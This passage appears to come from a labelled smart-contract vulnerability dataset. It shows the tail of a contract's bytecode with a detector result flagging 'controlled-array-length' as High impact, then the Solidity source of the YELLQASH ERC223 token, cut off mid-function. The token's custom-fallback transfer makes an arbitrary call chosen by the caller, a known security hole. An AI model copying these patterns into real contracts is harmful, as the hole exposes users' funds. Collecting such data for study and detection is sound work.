10be757600080fd5b50610bf0612e13565b6040518082815260200191505060405180910390f35b348015610c1257600080fd5b50610c1b612e1d565b6040518082815260200191505060405180910390f35b348015610c3d57600080fd5b50610c5c60048036038101908080359060200190929190505050612e27565b6040518082815260200191505060405180910390f35b348015610c7e57600080fd5b50610c9d60048036038101908080359060200190929190505050612e41565b6040518082600260200280838360005b83811015610cc8578082015181840152602081019050610cad565b5050505090500191505060405180910390f35b348015610ce757600080fd5b50610d0660048036038101908080359060200190929190505050612eba565b604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018581526020018481526020018381526020018281526020019850505050505050505060405180910390f35b348015610d8557600080fd5b50610d8e612f23565b6040518082815260200191505060405180910390f35b348015610db057600080fd5b50610dd96004803603810190808035906020019092919080359060200190929190505050612f29565b005b348015610de757600080fd5b50610df061302d565b60405180826101f460200280838360005b83811015610e1c578082015181840152602081019050610e01565b5050505090500191505060405180910390f35b348015610e3b57600080fd5b50610e70600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061307a565b6040518082815260200191505060405180910390f35b348015610e9257600080fd5b50610e9b6130c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ee957600080fd5b50610ef26130e9565b6040518082815260200191505060405180910390f35b348015610f1457600080fd5b50610f49600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130ef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9757600080fd5b50610fcc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131a9565b6040518082815260200191505060405180910390f35b348015610fee57600080fd5b50610ff76131d7565b6040518082815260200191505060405180910390f35b34801561101957600080fd5b5061106a6004803603810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506131dd565b005b34801561107857600080fd5b5061108161340a565b6040518082815260200191505060405180910390f35b3480156110a357600080fd5b506110ac613410565b6040518082600460200280838360005b838110156110d75780820151818401526020810190506110bc565b5050505090500191505060405180910390f35b3480156110f657600080fd5b506111156004803603810190808035906020019092919050505061345c565b60405180848152602001838152602001828152602001935050505060405180910390f35b60145481565b61020e6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b60008511801561122c5750600084115b80156112385750600083115b80156112445750600082115b80156112505750600081115b15156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f73706c6974206d757374206d6f7265207468616e20300000000000000000000081525060200191505060405180910390fd5b606481838587890101010111151515611345576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73756d2073706c697473206d757374206c74652031303020000000000000000081525060200191505060405180910390fd5b60a06040519081016040528086815260200185815260200184815260200183815260200182815250600a90600561137d929190613bff565b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611449576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b6000811115156114c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f56616c7565206d757374206d6f7265207468616e20302065746800000000000081525060200191505060405180910390fd5b806102158190555050565b60125481565b61020a5481565b60135481565b6016816101f4811015156114ef57fe5b016000915090505481565b6000601054905090565b60025481565b6000806000611518336131a9565b915061020c60009054906101000a900460ff161561153957600092506118ca565b6102155482101515156115da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4163636f756e74206c6566742062616c616e63652073686f756c64206d6f726581526020017f207468616e20302e30312065746800000000000000000000000000000000000081525060400191505060405180910390fd5b6115e73361021554613486565b5061162060646116056004546102155461358990919063ffffffff16565b81151561160e57fe5b0460115461362d90919063ffffffff16565b60118190555061165e60646116436005546102155461358990919063ffffffff16565b81151561164c57fe5b0460125461362d90919063ffffffff16565b60128190555061169c60646116816007546102155461358990919063ffffffff16565b81151561168a57fe5b0460015461362d90919063ffffffff16565b6001819055506116da60646116bf6008546102155461358990919063ffffffff16565b8115156116c857fe5b0460025461362d90919063ffffffff16565b60028190555061171860646116fd6006546102155461358990919063ffffffff16565b81151561170657fe5b0460035461362d90919063ffffffff16565b6003819055506117278561206f565b1561175f5761175985606461174a6009546102155461358990919063ffffffff16565b81151561175357fe5b046136b5565b5061179e565b611797606461177c6009546102155461358990919063ffffffff16565b81151561178557fe5b0460025461362d90919063ffffffff16565b6002819055505b6117a933868861386b565b90508560156000601454815260200190815260200160002060000181905550836015600060145481526020019081526020016000206001018190555080601560006014548152602001908152602001600020600201819055506102118460048110151561181257fe5b01600081548092919060010191905055506014600081548092919060010191905055506101f461020a54101561186f5780601661020a546101f48110151561185657fe5b018190555061020a600081548092919060010191905055505b3373ffffffffffffffffffffffffffffffffffffffff167f05e07dc6d42c02b5f20bfe0a365ac83185dbae6ff41fbc22a3de35fe8f3ea10c8786604051808381526020018281526020019250505060405180910390a2600192505b50509392505050565b600080610215543410151515611951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f56616c7565206d757374206d6f7265207468616e20302e30312065746800000081525060200191505060405180910390fd5b61020c60009054906101000a900460ff161561197a576119713334613911565b60009150611c47565b6119af60646119946004543461358990919063ffffffff16565b81151561199d57fe5b0460115461362d90919063ffffffff16565b6011819055506119ea60646119cf6005543461358990919063ffffffff16565b8115156119d857fe5b0460125461362d90919063ffffffff16565b601281905550611a256064611a0a6007543461358990919063ffffffff16565b811515611a1357fe5b0460015461362d90919063ffffffff16565b600181905550611a606064611a456008543461358990919063ffffffff16565b811515611a4e57fe5b0460025461362d90919063ffffffff16565b600281905550611a9b6064611a806006543461358990919063ffffffff16565b811515611a8957fe5b0460035461362d90919063ffffffff16565b600381905550611aaa8461206f565b15611adf57611ad9846064611aca6009543461358990919063ffffffff16565b811515611ad357fe5b046136b5565b50611b1b565b611b146064611af96009543461358990919063ffffffff16565b811515611b0257fe5b0460025461362d90919063ffffffff16565b6002819055505b611b2633858761386b565b905084601560006014548152602001908152602001600020600001819055508260156000601454815260200190815260200160002060010181905550806015600060145481526020019081526020016000206002018190555061021183600481101515611b8f57fe5b01600081548092919060010191905055506014600081548092919060010191905055506101f461020a541015611bec5780601661020a546101f481101515611bd357fe5b018190555061020a600081548092919060010191905055505b3373ffffffffffffffffffffffffffffffffffffffff167f05e07dc6d42c02b5f20bfe0a365ac83185dbae6ff41fbc22a3de35fe8f3ea10c8685604051808381526020018281526020019250505060405180910390a2600191505b509392505050565b61021060205282600052604060002060205281600052604060002081815481101515611c7757fe5b9060005260206000200160009250925050505481565b6102155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b600061020a819055506001601481905550601060008154809291906001019190505550611d9260135460125461362d90919063ffffffff16565b601181905550600060128190555069021e19e0c9bab24000006011541115611dfd57611dd268a2a15d09519be000006011546139e290919063ffffffff16565b601181905550611df668a2a15d09519be0000060015461362d90919063ffffffff16565b6001819055505b6102116000611e0c9190613c3f565b600061020a81905550600061020c60006101000a81548160ff021916908315150217905550565b6000601154905090565b60008060008060145460156000878152602001908152602001600020600001546015600088815260200190815260200160002060020154601560008981526020019081526020016000206001015493509350935093509193509193565b61020d5481565b60115481565b6000806000611eb53361307a565b9150662386f26fc1000061020f60008481526020019081526020016000206007015410151515611f73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4163636f756e742073686f756c642068617665206d6f7265207468616e20302e81526020017f303120657468000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61020f6000838152602001908152602001600020600701549050611f973382613911565b600061020f6000848152602001908152602001600020600701819055503373ffffffffffffffffffffffffffffffffffffffff167f0875ab8e60d8ffe0781ba5e1d1adadeb6250bc1bee87d3094cc6ac4eb9f88512826040518082815260200191505060405180910390a261020f6000838152602001908152602001600020600701549250505090565b600061020f6000838152602001908152602001600020600101549050919050565b60105481565b60045481565b600061020f6000838152602001908152602001600020600201549050919050565b60008060003373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156120b157600092506120ce565b6120ba8461307a565b91506120c58261204e565b90506000811192505b5050919050565b61020c60009054906101000a900460ff1681565b6000600254905090565b606060006121008461307a565b90506102106000828152602001908152602001600020600084815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561217157602002820191906000526020600020905b81548152602001906001019080831161215d575b505050505091505092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612246576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b6000851115156122be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f506c617965722073686f756c64206861766520706c61796564206265666f726581525060200191505060405180910390fd5b6122de61020f60008781526020019081526020016000206001015461204e565b905060008111156124b457612336600a858115156122f857fe5b0461020f600061020f60008a81526020019081526020016000206001015481526020019081526020016000206005015461362d90919063ffffffff16565b61020f600061020f6000898152602001908152602001600020600101548152602001908152602001600020600501819055506123b5600a8581151561237757fe5b0461020f600061020f60008a81526020019081526020016000206001015481526020019081526020016000206007015461362d90919063ffffffff16565b61020f600061020f600089815260200190815260200160002060010154815260200190815260200160002060070181905550612430600a61240060098761358990919063ffffffff16565b81151561240957fe5b0461020f60008881526020019081526020016000206006015461362d90919063ffffffff16565b61020f600087815260200190815260200160002060060181905550612494600a61246460098761358990919063ffffffff16565b81151561246d57fe5b0461020f60008881526020019081526020016000206007015461362d90919063ffffffff16565b61020f60008781526020019081526020016000206007018190555061253f565b6124de8461020f60008881526020019081526020016000206006015461362d90919063ffffffff16565b61020f6000878152602001908152602001600020600601819055506125238461020f60008881526020019081526020016000206007015461362d90919063ffffffff16565b61020f6000878152602001908152602001600020600701819055505b61020f600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f512eba6401e708d609b9c8cb32d1f6536885c790d9fcf03cda6c8b2c1964b4a2856040518082815260200191505060405180910390a26125ee8361020f60008881526020019081526020016000206004015461362d90919063ffffffff16565b61020f6000878152602001908152602001600020600401819055506126338361020f60008881526020019081526020016000206007015461362d90919063ffffffff16565b61020f60008781526020019081526020016000206007018190555061020f600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f04d6728a9694bb873a9c6d3e3704ae4abc74b00da9767357c61c43870b74efb3846040518082815260200191505060405180910390a261020f6000868152602001908152602001600020600701549150509392505050565b60095481565b60085481565b6102118160048110151561271157fe5b016000915090505481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b8060138190555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b61020d546011548115156128c757fe5b049150600090505b61020d548110156129285761291b61020f600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613911565b80806001019150506128cf565b5050565b6000600354905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b662386f26fc100008110158015612b1a57508060015410155b1515612b8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f56616c7565206d757374206d6f7265207468616e20302e30312065746800000081525060200191505060405180910390fd5b612b988282613911565b612bad816001546139e290919063ffffffff16565b6001819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b662386f26fc100008110158015612c9457508060025410155b1515612d08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f56616c7565206d757374206d6f7265207468616e20302e30312065746800000081525060200191505060405180910390fd5b612d128282613911565b612d27816002546139e290919063ffffffff16565b6002819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612df5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b600161020c60006101000a81548160ff021916908315150217905550565b6000600154905090565b6000601254905090565b600a81600681101515612e3657fe5b016000915090505481565b612e49613c5b565b612e51613c5b565b61020b600084815260200190815260200160002060000154816000600281101515612e7857fe5b60200201818152505061020b600084815260200190815260200160002060010154816001600281101515612ea857fe5b60200201818152505080915050919050565b61020f6020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612fed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b8161020b60006010548152602001908152602001600020600001819055508061020b60006010548152602001908152602001600020600101819055505050565b613035613c7d565b60166101f48060200260405190810160405280929190826101f48015613070576020028201915b81548152602001906001019080831161305c575b5050505050905090565b600061020e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60008060006130fd8461307a565b915061020f600083815260200190815260200160002060010154905061315961020f600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206f565b1561319d5761020f600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506131a2565b600092505b5050919050565b6000806131b58361307a565b905061020f600082815260200190815260200160002060070154915050919050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156132a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d73672073656e646572206973206e6f7420636f6e7472616374206f776e657281525060200191505060405180910390fd5b6000861180156132b15750600085115b80156132bd5750600084115b80156132c95750600083115b80156132d55750600082115b80156132e15750600081115b1515613355576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f73706c6974206d757374206d6f7265207468616e20300000000000000000000081525060200191505060405180910390fd5b606481838587898b0101010101111515156133d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73756d2073706c697473206d757374206c74652031303020000000000000000081525060200191505060405180910390fd5b856004819055508460058190555083600681905550826007819055508160088190555080600981905550505050505050565b60075481565b613418613ca2565b610211600480602002604051908101604052809291908260048015613452576020028201915b81548152602001906001019080831161343e575b5050505050905090565b60156020528060005260406000206000915090508060000154908060010154908060020154905083565b6000806134928461307a565b90508261020f60008381526020019081526020016000206007015410151515613523576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4163636f756e742073686f756c64206861766520656e6f7567682076616c756581525060200191505060405180910390fd5b61354d8361020f6000848152602001908152602001600020600701546139e290919063ffffffff16565b61020f60008381526020019081526020016000206007018190555061020f60008281526020019081526020016000206007015491505092915050565b60008083141561359c5760009050613627565b81830290508183828115156135ad57fe5b04141515613623576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d617468206d756c206661696c65640000000000000000000000000081525060200191505060405180910390fd5b8090505b92915050565b600081830190508281101515156136ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820616464206661696c65640000000000000000000000000081525060200191505060405180910390fd5b80905092915050565b6000806136c18461307a565b905060008111151561373b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f506c617965722073686f756c64206861766520706c61796564206265666f726581525060200191505060405180910390fd5b6137658361020f60008481526020019081526020016000206005015461362d90919063ffffffff16565b61020f6000838152602001908152602001600020600501819055506137aa8361020f60008481526020019081526020016000206007015461362d90919063ffffffff16565b61020f60008381526020019081526020016000206007018190555061020f600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7609e49cbdf0e445a143530698dcbdd3957424777417c227d36827fc0ff635fa846040518082815260200191505060405180910390a261020f60008281526020019081526020016000206007015491505092915050565b6000806138778561307a565b9050600081141561388f5761388c8585613a67565b90505b600161020f600083815260200190815260200160002060020160008282540192505081905550610210600082815260200190815260200160002060006010548152602001908152602001600020839080600181540180825580915050906001820390600052602060002001600090919290919091505550809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613957573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515613a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820737562206661696c65640000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b60008060008461020f600061020d54815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600061020f600061020d54815260200190815260200160002060020181905550600061020f600061020d54815260200190815260200160002060030181905550600061020f600061020d5481526020019081526020016000206006018190555061020d5461020e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b768461307a565b9150600082141515613bdb576000613b8d8361204e565b1115613bda578161020f600061020d5481526020019081526020016000206001018190555061020f6000838152602001908152602001600020600301600081548092919060010191905055505b5b61020d54905061020d60008154809291906001019190505550809250505092915050565b8260068101928215613c2e579160200282015b82811115613c2d578251825591602001919060010190613c12565b5b509050613c3b9190613cc5565b5090565b5060008155600101600081556001016000815560010160009055565b6040805190810160405280600290602082028038833980820191505090505090565b613e80604051908101604052806101f490602082028038833980820191505090505090565b608060405190810160405280600490602082028038833980820191505090505090565b613ce791905b80821115613ce3576000816000905550600101613ccb565b5090565b905600a165627a7a72305820f496ff2f801962304f30ad0ee0628fca268c07e25ab41aa37ddd9325b78dd9630029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,524
0x91edec8c1f44d34244b5e7e2631dd7c5cee1b19c
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title YELLQASH * @author YELLQASH * @dev YELLQASH is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract YELLQASH is ERC223, Ownable { using SafeMath for uint256; string public name = "YELLQASH"; string public symbol = "YELL"; uint8 public decimals = 8; uint256 public totalSupply = 15e9 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function YELLQASH() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner 